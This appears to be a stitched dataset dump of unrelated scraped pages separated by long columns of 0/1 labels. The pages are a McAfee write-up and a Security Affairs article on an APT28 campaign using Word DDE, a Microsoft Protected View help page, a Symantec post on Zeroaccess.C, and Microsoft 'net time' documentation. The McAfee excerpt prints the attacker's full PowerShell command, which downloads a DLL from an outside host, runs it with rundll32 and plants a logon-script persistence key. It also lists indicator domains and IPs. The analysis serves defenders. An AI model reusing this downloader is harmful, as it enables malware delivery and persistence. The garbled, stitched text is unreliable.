68c2809560c7623d2307d8797691abf3eafe319a is responsible for dropping the Seduploader payload (secnt.dll). Its original file name was SaberGuardian2017.docx. This document was created on October 27. The document is distributed from hxxp://sendmevideo[.]org/SaberGuardian2017.docx. The document calls sendmevideo[.]org/dh2025e/eh.dll to download Seduploader (ab354807e687993fbeb1b325eb6e4ab38d428a1e). The PowerShell command embedded in this document: $W=New-Object System.Net.WebClient; $p=($Env:ALLUSERSPROFILE+\xe2\x80\x9d\\mvdrt.dll\xe2\x80\x9d); [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $W.DownloadFile(\xe2\x80\x9chttp://sendmevideo.org/dh2025e/eh.dll\xe2\x80\x9d,$p); if (Test-Path $p){ $rd_p=$Env:SYSTEMROOT+\xe2\x80\x9d\\System32\\rundll32.exe\xe2\x80\x9d; $p_a=$p+\xe2\x80\x9d,#1\xe2\x80\xb3; $pr=Start-Process $rd_p -ArgumentList $p_a; $p_bat=($Env:ALLUSERSPROFILE+\xe2\x80\x9d\\mvdrt.bat\xe2\x80\x9d); $text=\xe2\x80\x99set inst_pck = \xe2\x80\x9c%ALLUSERSPROFILE%\\mvdrt.dll\xe2\x80\x9d\xe2\x80\x98+\xe2\x80\x9d`r`n\xe2\x80\x9d+\xe2\x80\x99if NOT exist %inst_pck % (exit)\xe2\x80\x99+\xe2\x80\x9d`r`n\xe2\x80\x9d+\xe2\x80\x99start rundll32.exe %inst_pck %,#1\xe2\x80\x99 [io.File]::WriteAllText($p_bat,$text) New-Item -Path \xe2\x80\x98HKCU:\\Environment\xe2\x80\x99 -Force | Out-Null; New-ItemProperty -Path \xe2\x80\x98HKCU:\\Environment\xe2\x80\x99 -Name \xe2\x80\x98UserInitMprLogonScript\xe2\x80\x99 -Value \xe2\x80\x9c$p_bat\xe2\x80\x9d -PropertyType String -Force | Out-Null; } The file vms.dll, 4bc722a9b0492a50bd86a1341f02c74c0d773db7, is 99% similar-to secnt.dll ab354807e687993fbeb1b325eb6e4ab38d428a1e, indicating the code is almost identical and highly likely to be part of the same campaign. These two DLL implants are likely part of the same campaign. Furthermore, the sample 4bc722a9b0492a50bd86a1341f02c74c0d773db7, based on our code analysis, is 99% similar to the DLL implant 8a68f26d01372114f660e32ac4c9117e5d0577f1, which was used in a campaign spoofing the upcoming cyber conference Cy Con U.S. The attack techniques in the two campaigns differ: The campaign spoofing the Cy Con U.S conference used document files to execute a malicious VBA script; this campaign using the terrorist theme uses DDE within a document file to execute PowerShell and fetches a remote payload from a distribution site. The payloads, however, are identical for both campaigns. Conclusion APT28 is a resourceful threat actor that not only capitalizes on recent events to trick potential victims into infections, but can also rapidly incorporate new exploitation techniques to increase its success. Given the publicity the Cy Con U.S campaign received in the press, it is possible APT28 actors moved away from using the VBA script employed in past actions and chose to incorporate the DDE technique to bypass network defenses. Finally, the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28\xe2\x80\x99s ability and interest in exploiting geopolitical events for their operations. Indicators of Compromise SHA1 Hashes ab354807e687993fbeb1b325eb6e4ab38d428a1e (vms.dll, Seduploader implant) 4bc722a9b0492a50bd86a1341f02c74c0d773db7 (secnt.dll, Seduploader implant) 1c6c700ceebfbe799e115582665105caa03c5c9e (IsisAttackInNewYork.docx) 68c2809560c7623d2307d8797691abf3eafe319a (SaberGuardian.docx) Domains webviewres[.]net netmediaresources[.]com IPs 185.216.35.26 89.34.111.160 McAfee coverage McAfee products detect this threat as RDN/Generic Downloader.x. Previous ArticleNext Article Categories: McAfee Labs Tags: computer security, cybersecurity, endpoint protection 4 comments on \xe2\x80\x9cThreat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack\xe2\x80\x9d Jan 03, 2018 at 5:39 am Jason says: How exactly is this able to spread? Reply Jan 03, 2018 at 3:47 pm McAfee says: Hi Jason! The specific threat detailed in this blog is spread through a malicious Microsoft Word document (named IsisAttackInNewYork, but the name could easily change in the future). This means the malware spreads he way any Word document could be spread; email, a file downloaded from a website, instant messenger services that allow file transfers (such as Facebook), it could be saved to a USB thumb drive and then copied onto a computer. It\xe2\x80\x99s a best practice to watch what you open. Don\xe2\x80\x99t open attachments from someone you don\xe2\x80\x99t know, or files that you downloaded from a site you aren\xe2\x80\x99t sure about. Always scan downloaded files for malware. Always ensure your antivirus software is up to date and active/enabled. If you get a strange word document (or any file) in a chat, messenger, or email from someone you don\xe2\x80\x99t know, don\xe2\x80\x99t open it. If it\xe2\x80\x99s someone you DO know, but it\xe2\x80\x99s still a strange thing for them to send you\xe2\x80\xa6. ASK them if they meant to send it before you open it. Better safe than sorry! Good luck out there, Jason! We\xe2\x80\x99re here if you need us. Reply Dec 22, 2017 at 11:58 am BallisticEnderman says: So how do I prevent this from happening? Is there a security plan that I need to use? Reply Dec 26, 2017 at 10:32 pm McAfee says: Hi! The blog concludes with this: McAfee coverage McAfee products detect this threat as RDN/Generic Downloader.x. All you need to do to safeguard against this threat and make sure your McAfee products are up to date. It\xe2\x80\x99s also a very good idea to follow best practices like updating the operating systems in your endpoint and server, and to not open attachments from unknown sources or that look odd, but our products do detect this threat. Reply Leave a reply Facebook CommentsComments (4) Similar articles Solving the Gamer\xe2\x80\x99s Dilemma: Security vs. Performance By McAfee on Sep 17, 2019 Are Cash Transfer Apps Safe to Use? Here\xe2\x80\x99s What Your Family Needs to Know By Toni Birdsong on Sep 14, 2019 Millions of Car Buyer Records Exposed: How to Bring This Breach to a Halt By Gary Davis on Sep 12, 2019 Subscribe to McAfee Securing Tomorrow Blogs Email Address Email address Corporate Headquarters 2821 Mission Colledge Blvd. Santa Clara, CA 9505 USA Business Cloud Security Endpoint Security Security Operations Data Security Consumer Hackable? Podcast Consumer Threat Notices Family Safety Identity Protection Mobile and IoT Security Other Blogs Podcast McAfee Labs Executive Perspectives Life at McAfee McAfee Partners Languages Italia \xe4\xb8\xad\xe5\x9b\xbd Espa\xc3\xb1ol Fran\xc3\xa7ais German Portugu\xc3\xaas \xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2 Copyright \xc2\xa9 2019 McAfee, LLC","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"Russia-Linked APT28 group observed using DDE attack to deliver malwareSecurity Affairs Home Cyber Crime Cyber warfare APT Data Breach Deep Web Digital ID Hacking Hacktivism Intelligence Internet of Things Laws and regulations Malware Mobile Reports Security Social Networks Terrorism EXTENDED COOKIE POLICY Contact me Must Read Australia is confident that China was behind attack on parliament, political parties Experts warn of the exposure of thousands of Google Calendars online Backup files for Lion Air and parent airlines exposed and exchanged on forums Experts found 125 new flaws in SOHO routers and NAS devices from multiple vendors Fraudulent purchases of digitals certificates through executive impersonation MobiHok RAT, a new Android malware based on old SpyNote RAT Home Cyber Crime Cyber warfare APT Data Breach Deep Web Digital ID Hacking Hacktivism Intelligence Internet of Things Laws and regulations Malware Mobile Reports Security Social Networks Terrorism EXTENDED COOKIE POLICY Contact me Russia-Linked APT28 group observed using DDE attack to deliver malware November 9, 2017\xc2 By\xc2 Pierluigi\xc2 Paganini Security experts\xc2 at McAfee observed the Russian APT28 group using the recently reported the DDE attack technique to deliver\xc2 malware in espionage campaign. Security experts\xc2 at McAfee observed the Russian APT group APT28 using the recently reported the DDE technique to deliver\xc2 malware in targeted attacks. The cyber spies were conducting a cyber espionage campaign that involved blank documents whose name referenced the recent\xc2 terrorist attack in New York City. \xe2\x80\x9cDuring our monitoring of activities around the APT28 threat group, McAfee Advanced Threat Research analysts identified a malicious Word document that appears to leverage the Microsoft Office Dynamic Data Exchange (DDE) technique that has been previously reported by Advanced Threat Research. This document likely marks the first observed use of this technique by APT28.\xe2\x80\x9d reported McAfee. The Dynamic Data Exchange (DDE) is a protocol designed to allow data transferring between applications, attackers have devised a method to achieve the execution of malicious code embedded in Office documents without user\xe2\x80\x99s interaction by using\xc2 DDE. The DDE protocol allows an Office application to load data from another Office application, it was replaced by Microsoft with Object Linking and Embedding (OLE), but it is still supported. The DDE technique was implemented by several threat actors such as the FIN7 APT group\xc2 in DNSMessenger malware attacks, and the operators behind the\xc2 Hancitor malware campaign spotted and detailed by\xc2 Internet Storm Center (ISC) handler Brad Duncan. Recently the technique was used by threat actors behind the\xc2 Necurs botnet\xc2 to deliver the Locky ransomware. Unfortunately, Microsoft doesn\xe2\x80\x99t plan to introduce security countermeasures to mitigate the DDE attack because the tech giant considers the feature as legit. In the recent campaign conducted by APT28, hackers used a document referencing the New York City attack to deliver the first-stage payload tracked as Seduploader. The Seduploader\xc2 malware, also known as\xc2 GAMEFISH backdoor, Sednit,\xc2 JHUHUGIT\xc2 and Sofacy, is a strain of malware that has been already used by the threat actor in other campaigns against\xc2 NATO\xc2 representatives. The\xc2 Seduploader is a reconnaissance malware that was used for years by APT28, it is composed of 2 files: a dropper and a payload. The malware is downloaded from a remote server using PowerShell commands, experts The analysis of the malware and command and control (C&C) domains used in the campaign revealed the campaign involving DDE started on October 25. According to the experts, the recent attacks are part of a campaign that also involved documents referencing\xc2 Saber Guardian,\xc2 a multinational military exercise involving approximately 25,000 military personnel from over 20 participating nations. The\xc2 military exercise was conducted by the U.S. Army in Eastern Europe in an effort to deter an invasion (by Russia) into NATO territory. Just two week ago, researchers with Cisco Talos have spotted another cyber espionage campaign conducted by the\xc2 APT28 group\xc2 targeting individuals with spear-phishing messages using\xc2 documents referencing a NATO cybersecurity conference. The hackers targeted individuals with a specific interest\xc2 in the CyCon US cybersecurity conference organized by the NATO Cooperative Cyber Defence Centre of Excellence (CCDCOE) in collaboration with the Army Cyber Institute at West Point on November 7-8 in Washington, D.C. \xe2\x80\x9cAPT28 is a resourceful threat actor that not only capitalizes on recent events to trick potential victims into infections, but can also rapidly incorporate new exploitation techniques to increase its success. Given the publicity the Cy Con U.S campaign received in the press, it is possible APT28 actors moved away from using the VBA script employed in past actions and chose to incorporate the DDE technique to bypass network defenses.\xe2\x80\x9d concluded McAfee. \xe2\x80\x9cFinally, the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28\xe2\x80\x99s ability and interest in exploiting geopolitical events for their operations.\xe2\x80\x9d \xc2 Pierluigi\xc2 Paganini (Security Affairs\xc2 \xe2\x80\x93 DDE attack, cyber espionage) Share this... Facebook Twitter Linkedin Reddit Pinterest APT28DDE attackFANCY BEARHackingmalware Share On Pierluigi Paganini Pierluigi Paganini is member of the ENISA (European Union Agency for Network and Information Security) Threat Landscape Stakeholder Group and Cyber G7 Group, he is also a Security Evangelist, Security Analyst and Freelance Writer. Editor-in-Chief at ""Cyber Defense Magazine"", Pierluigi is a cyber security expert with over 20 years experience in the field, he is Certified Ethical Hacker at EC Council in London. The passion for writing and a strong belief that security is founded on sharing and awareness led Pierluigi to find the security blog ""Security Affairs"" recently named a Top National Security Resource for US. Pierluigi is a member of the ""The Hacker News"" team and he is a writer for some major publications in the field such as Cyber War Zone, ICTTF, Infosec Island, Infosec Institute, The Hacker News Magazine and for many other Security magazines. Author of the Books ""The Deep Dark Web"" and \xe2\x80\x9cDigital Virtual Currency and Bitcoin\xe2\x80\x9d. Previous Article Google Syzkaller fuzzer allowed to discover several flaws in Linux USB Subsystem Next Article Experts can hack most CPUs since 2008 over USB by triggering Intel Management Engine flaw You might also like Fraudulent purchases of digitals certificates through executive impersonation September 17, 2019\xc2 By\xc2 Pierluigi\xc2 Paganini MobiHok RAT, a new Android malware based on old SpyNote RAT September 16, 2019\xc2 By\xc2 Pierluigi\xc2 Paganini Sponsored Content Digging the Deep Web: Exploring the dark side of the web Yoroi Blog Yoroi Blog Sponsored Content Sponsored Content Sponsored Content Sponsored Content More Story Google Syzkaller fuzzer allowed to discover several flaws in Linux USB Subsystem The Google researcher Andrey Konovalov discovered several vulnerabilities in the Linux kernel USB subsystem using the Google... Copyright 2015 Security Affairs by Pierluigi Paganini All Right Reserved. Back to top Home Cyber Crime Cyber warfare APT Data Breach Deep Web Digital ID Hacking Hacktivism Intelligence Internet of Things Laws and regulations Malware Mobile Reports Security Social Networks Terrorism EXTENDED COOKIE POLICY Contact me This site uses cookies, including for analytics, personalization, and advertising purposes. For more information or to change your cookie settings, click here. If you continue to browse this site without changing your cookie settings, you agree to this use. Accept Read More Privacy and Cookies Policy Necessary Always Enabled","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"What is Protected View? - Office Support Breaking news from around the world Get the Bing + MSN extension No thanks Add it now Skip to main content Microsoft Office Office Office Home Products For home > Plans & pricing For households For individuals See Office 365 For business > Plans & pricing New businesses Small business Enterprise See all business For education > For students & teachers For schools Applications > Outlook OneDrive Word Excel PowerPoint OneNote SharePoint Microsoft Teams See all Office products Resources Training Setup & install FAQ Templates Support More Buy Office 365 All Microsoft Office Windows Surface Xbox Deals Support Software Windows apps OneDrive Outlook Skype OneNote PCs & Devices PCs & tablets Accessories Entertainment Xbox games PC games Windows digital games Movies & TV Books Business Microsoft Azure Microsoft Dynamics 365 Microsoft 365 Microsoft Industry Data platform Microsoft Advertising Licensing Developer & IT .NET Visual Studio Windows Server Windows Dev Center Docs Other Microsoft Store Microsoft Rewards Free downloads & security Education Store locations Gift cards View Sitemap Search Cancel 0 Cart Sign in Apps Outlook OneDrive Word Excel PowerPoint OneNote SharePoint Microsoft Teams Yammer Access Install Account Training Admin What is Protected View? Excel for Office 365 Word for Office 365 PowerPoint for Office 365 Excel 2019 Word 2019 PowerPoint 2019 Excel 2016 Word 2016 PowerPoint 2016 Excel 2013 Word 2013 PowerPoint 2013 Excel 2010 Word 2010 PowerPoint 2010 Office 2010 More... Less Files from the Internet and from other potentially unsafe locations can contain viruses, worms, or other kinds of malware that can harm your computer. To help protect your computer, files from these potentially unsafe locations are opened as read only or in Protected View. By using Protected View, you can read a file and see its contents and enable editing while reducing the risks. Included in this article Why is my file opening in Protected View? How do I exit Protected View so that I can edit, save, or print? Why can't I exit Protected View? A problem was detected with my file I want to change my Protected View settings I want to revoke trust from a document/documents that I've previously trusted to not open in Protected View Protected View Trust Center settings explained What happens to add-ins in Protected View? What happens to cloud fonts in Protected View? How do I use Protected View with a screen reader? Why is my file opening in Protected View? Protected View is a read-only mode where most editing functions are disabled. There are several reasons why a file opens in Protected View: The file was opened from an Internet location\xc2 \xc2 \xc2 - When you see the message in Protected View that says ""Be careful - files from the Internet can contain viruses. Unless you need to edit, it's safer to stay in Protected View."", the file is being opened from the Internet. Files from the Internet can have viruses and other harmful content embedded in them. We recommend you only edit the document if you trust its contents. The file was received as an Outlook attachment and your computer policy has defined the sender as unsafe\xc2 \xc2 \xc2 - When you see the message in Protected View that says ""Be careful - email attachments can contain viruses. Unless you need to edit, it's safer to stay in Protected View."", the file was received from a potentially unsafe sender. We recommend you only edit the document if you trust its contents. The file was opened from an unsafe location\xc2 \xc2 \xc2 -\xc2 When you see the message in Protected View that says ""This file was opened from a potentially unsafe location. Click for more details."", the file was opened from a folder that is unsafe. An example of an unsafe location is your Temporary Internet Files folder. We recommend you only edit the document if you trust its contents. The file is blocked by File Block\xc2 \xc2 \xc2 - The following images are examples. Learn more about File Block Editing isn\xe2\x80\x99t allowed. Editing is allowed, but not recommended unless you completely trust its contents. File validation failure\xc2 \xc2 \xc2 -\xc2 When you see a message in Protected View that says ""Office has detected a problem with this file. Editing it may harm your computer. Click for more details."", the file didn\xe2\x80\x99t pass file validation. File validation scans file for security problems that can result from changes in the file structure. The file was opened in Protected View by using the Open in Protected View option\xc2 \xc2 \xc2 -\xc2 When you see the message in Protected View that says ""This file was opened in Protected View. Click for more details."", you chose to open the file in Protected View. This can be done by using the Open in Protected View option: 1. Click File > Open. 2. On the Open dialog box, click the arrow next to the Open button. 3. From the list, click Open in Protected View. The file was opened from someone else's OneDrive storage\xef\xbb\xbf- When you see the message in Protected View that says ""Be careful - This file is from someone else's OneDrive. Unless you trust this person and want to continue collaborating with them, it is safer to stay in Protected View."", you opened a document from a OneDrive folder other than your own, for example, when someone has shared a file in OneDrive with you. Such files may be untrusted and could beused to cause harm to your computer. We recommend you trust documents only if you trust the person to whom this OneDrive location belongs. Notes:\xc2 This functionality is currently only available in Office 365 clients. Once you click ""Trust Documents From This Person"" all subsequent documents shared from this OneDrive location will no longer open in Protected View. Important:\xc2 Administrators can customize the list of potentially unsafe locations to include additional folders they also consider unsafe. How do I exit Protected View so that I can edit, save, or print? If you must read the file, and don't have to edit it, you can remain in Protected View. If you know the file is from a trustworthy source, and you want to edit, save, or print the file, you can exit Protected View. After you leave Protected View, you've effectively remove read only, and the file becomes a trusted document. Exit Protected View and edit when the yellow Message Bar appears On the Message Bar, click Enable Editing. Exit Protected View and edit when the red Message Bar appears Click File > Edit Anyway. Caution:\xc2 We recommend you only do this if the file's source and content are trusted by you. Why can't I exit Protected View? If you can\xe2\x80\x99t exit Protected View, it's possible that your systems administrator has rules established that prevent leaving Protected View. Speak to your administrator to determine whether such rules have been made. A problem was detected with my file Office found a problem with your file and it might be a security risk. Opening the file in Protected View helps protect your computer and we recommend that you edit the file only if you trust the person who sent it to you, and if the file doesn\xe2\x80\x99t look suspicious. Why do I see this message? This message can appear for a malicious file, which was created by a hacker to infect your computer with a virus or steal important information. This message means that editing the file could be dangerous. Sometimes the message appears for files that are damaged, for example: The disk where the file is stored could be worn out or broken. The file was created or edited with a program that has a problem. An unexpected error occurred while copying the file to your computer, which can be caused by a problem with your Internet connection. There could be a problem with how Office looks for problems in files. We work to make it better, but it\xe2\x80\x99s not perfect. Can I edit the file? If the file is from someone you know and trust, you can choose to edit it. But we recommend that you avoid editing a file that seems suspicious. For example: The file came from someone you don\xe2\x80\x99t know or trust. You weren\xe2\x80\x99t expecting to receive the file or it doesn't seem like the kind of file that person would send you. The content of the file seems unusual, for example, it appears to be a bill for something you never bought, or it\xe2\x80\x99s causing your computer to display errors. If the file seems suspicious, close the file and delete it from your computer. We recommend you don\xe2\x80\x99t edit it. To ease suspicion, you can call or email the person who sent you the file to confirm. The following image is an example of the Edit Anyway button in the Office Backstage view. What Office file types can cause file-validation errors? Word 97-2003 files (.doc, .dot) Excel 97-2003 files (.xls, .xla, .xlt, .xlm, .xlb, .xlt) PowerPoint 97-2003 files (.ppt, .pot., pps, .ppa) I want to change my Protected View settings We advise speaking with your administrator before you make changes to your Protected View settings. Click File > Options. Click Trust Center > Trust Center Settings > Protected View. Make selections that you want. Protected View Trust Center settings explained Enable Protected View for files originating from the Internet\xc2 \xc2 \xc2 \xc2 The Internet is considered an unsafe location because of its many opportunities for malicious intent. Enable Protected View for files that are located in potentially unsafe locations\xc2 \xc2 \xc2 \xc2 This refers to folders on your computer or network that are considered unsafe, such as the Temporary Internet folder or other folders assigned by your administrator. Enable Protected View for Outlook attachments\xc2 \xc2 \xc2 \xc2 Attachments in emails can come from unreliable or unknown sources. I want to revoke trust from a document/documents that I've previously trusted to not open in Protected View If you previously trusted a document or documents to open outside of Protected View by either (1) clicking ""Enable Editing"" or ""Trust Documents From This Person"" in the message bar or (2) clicking on ""Edit Anyway"" when the file fails validation, please refer to guidance under Trusted documents for removing this trust decision and making such documents re-open in Protected View. What happens to add-ins in Protected View? Add-ins may run when a file opens in Protected View, but may not function as expected. If your add-ins aren\xe2\x80\x99t running correctly, contact the add-in's author. An updated version, which is compatible with Protected View, may be needed. For more information on add-ins, see Why is my add-in crashing? What happens to cloud fonts in Protected View? It's possible the person who sent you the document used a cloud font, which is a font that doesn't ship with Windows or Office but which must be downloaded from the Internet the first time it's used. If so, and it's a font you don't already have installed, that font won't download while you're in Protected View. Word will try to substitute another font that will hopefully look okay. If you're confident that the document is safe, and want to see it the way the author intended, you'll need to enable editing so that Word can download and install the correct font. Note:\xc2 If Word is unable to find any compatible fonts to substitute you might see black boxes where the text should be. Enabling editing so the correct font can download should fix the problem. How do I use Protected View with a screen reader? When you are in protected view, editing is locked, so you can't cursor around the document as expected. However, if you need to navigate through a document in Protected View with a screen reader, you can press F7 to turn on caret browsing. This action should allow you to navigate through the text without being in edit mode. See Also Open a document after a file corruption error Check file compatibility with earlier versions Add or remove protection in your document, workbook, or presentation Expand your Office skills Explore training Get new features first Join Office Insiders Was this information helpful? Yes No Great! Any other feedback? How can we improve it? Send No thanks Thank you for your feedback! Thank you for your feedback! It sounds like it might be helpful to connect you to one of our Office support agents. Contact Support \xc3\x97 What's new Surface Pro 6 Surface Laptop 2 Surface Go Xbox One X Xbox One S VR & mixed reality Windows 10 apps Office apps Microsoft Store Account profile Download Center Microsoft Store support Returns Order tracking Store locations Buy online, pick up in store Education Microsoft in education Office for students Office 365 for schools Deals for students & parents Microsoft Azure in education Enterprise Azure AppSource Automotive Government Healthcare Manufacturing Financial services Retail Developer Microsoft Visual Studio Windows Dev Center Developer Network TechNet Microsoft developer program Channel 9 Office Dev Center Microsoft Garage Company Careers About Microsoft Company news Privacy at Microsoft Investors Diversity and inclusion Accessibility Security English (United States) Contact Us Privacy & Cookies Terms of use & sale Trademarks Office accessibility Legal \xc2\xa9 Microsoft 2019","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"Symantec Connect Blogs Security Response Security Response +4 4 Votes Symantec Official Blog Trojan.Zeroaccess.C Hidden in NTFS EA By: Mircea Ciubotariu SYMANTEC EMPLOYEE Created 14 Aug 2012 0 Comments : \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e The latest variant of the Zeroaccess Trojan\xe2\x80\x94Trojan.Zeroaccess.C\xe2\x80\x94makes use of a novel technique to store its malicious content: it exploits a feature provided by the NT File System called Extended Attributes (EA). Even before Zeroaccess.C, malware authors have been looking for new ways to hide their malicious creations by making use of a specialized API provided by the file system. Two notable examples are the use of Alternate Data Streams (ADS) and Encrypted File System (EFS). Trojan.Zeroaccess.C uses ZwSetEaFile to write the malicious payload into the EA data of the file %System%\\services.exe and ZwQueryEaFile respectively to retrieve and execute it. The threat patches the code to read and execute the EA data directly into the services.exe file by overwriting a portion of the original initialization code: ZwQueryEaFile returns a FILE_FULL_EA_INFORMATION structure containing the malicious payload as shown below: It must be noted here that the infected system file\xe2\x80\x94services.exe\xe2\x80\x94cannot be repaired automatically with the information provided by the file alone because a portion of its original code has been permanently overwritten by the threat, forcing the user to restore the file manually from a clean backup. Windows Vista and later versions of Windows makes things easier by offering the option to restore the file to a previous version by right-clicking on the file and selecting Restore previous versions. Such infected services.exe files are detected as Trojan.Zeroaccess!inf4 by Symantec products. As with other NTFS features, accessing the EA requires a specialized API and usually malware writers employ these techniques in the hope that antivirus products do not support them. This results in the payload remaining functional for longer periods of time. As far as Trojan.Zeroaccess.C is concerned, making use of EA marks a new point in its struggle to diversify. This new version does not include the rootkit component anymore, and it infects both x86 (32-bit) and x64 (64-bit) versions of the services.exe file. Throughout Zeroaccess\xe2\x80\x99 life span we have seen several novel techniques that posed various challenges; however, the antivirus industry has quickly adapted and responded with new technologies. Tags: Products, Endpoint Protection, Security Response, NTFS, Trojan.Zeroaccess!inf4, Trojan.Zeroaccess.C Subscriptions (0) Mircea Ciubotariu View Profile Login or Register to post comments. About Your Community A Message From Your Community Manager: RGMDonaldson Welcome to the Security Community on Symantec Connect. The Security Community covers many different security products from Symantec and provides valuable technical information for each. Please feel free to contact me via private message with any questions you may have. I look forward to hearing from you and answering any questions about the Community. Send a private message to the Community Manager Top 5 Contributors: All Time MEMBERREWARD POINTS \xe2\x84\xacr\xce\xaf\xce\xb1\xce\xb7148952 Vikram Kumar-SAV to SEP77376 Mithun Sanghavi77368 Rafeeq69214 P_K_53536 Top 5 Contributors: Last 30 Days MEMBERREWARD POINTS dprager1800 Aboonaim Golandaz1150 Aravind Ghosh375 Mithun Sanghavi350 AlexHedley315 Contact UsPrivacy PolicyEarn RewardsRewards Terms and Conditions \xc2\xa9 2019 Symantec Corporation","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0" -"Net time | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Net time 09/11/2009 2 minutes to read In this article Synchronizes the computer's clock with that of another computer or domain. Used without parameters, net time displays the time for another computer or domain. Syntax net time [{\\\\ComputerName | /domain[:DomainName] | /rtsdomain[:DomainName]}] [/set] net time [\\\\ComputerName] [/querysntp] [/setsntp[:NTPServerList]] Parameters \\\\ ComputerName : Specifies the name of a server you want to check or with which you want to synchronize. /domain [ : DomainName ] : Specifies the domain with which to synchronize clocks. /rtsdomain [ : DomainName ] : Specifies the domain of the Reliable Time Server with which to synchronize clocks. /set : Synchronizes the computer's clock with the time on the specified computer or domain. /querysntp : Displays the name of the Network Time Protocol (NTP) server currently configured for the local computer or the one specified in ComputerName. /setsntp [ : NTPServerList ] : Specifies a list of NTP time servers to be used by the local computer. The list can contain IP addresses or DNS names, separated by spaces. If you use multiple time servers, you must enclose the list in quotation marks. net help command : Displays help for the specified net command. Formatting legend Format Meaning Italic Information that the user must supply Bold Elements that the user must type exactly as shown Ellipsis (...) Parameter that can be repeated several times in a command line Between brackets ([]) Optional items Between braces ({}); choices separated by pipe (|). Example: {even|odd} Set of choices from which the user must choose only one Courier font Code or program output Net services overview Command-line reference A-Z Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0" -"xCmd an Alternative to PsExec | Technology Portal Skip to content Technology Portal Technology Blog Menu Home About HomexCmd an Alternative to\xc2 PsExec xCmd an Alternative to\xc2 PsExec April 12, 2011April 12, 2011 ashwinrayaprolu UtilitiesAlternative, PsExec, Windows Remote Execution, xCmd I recently had to use 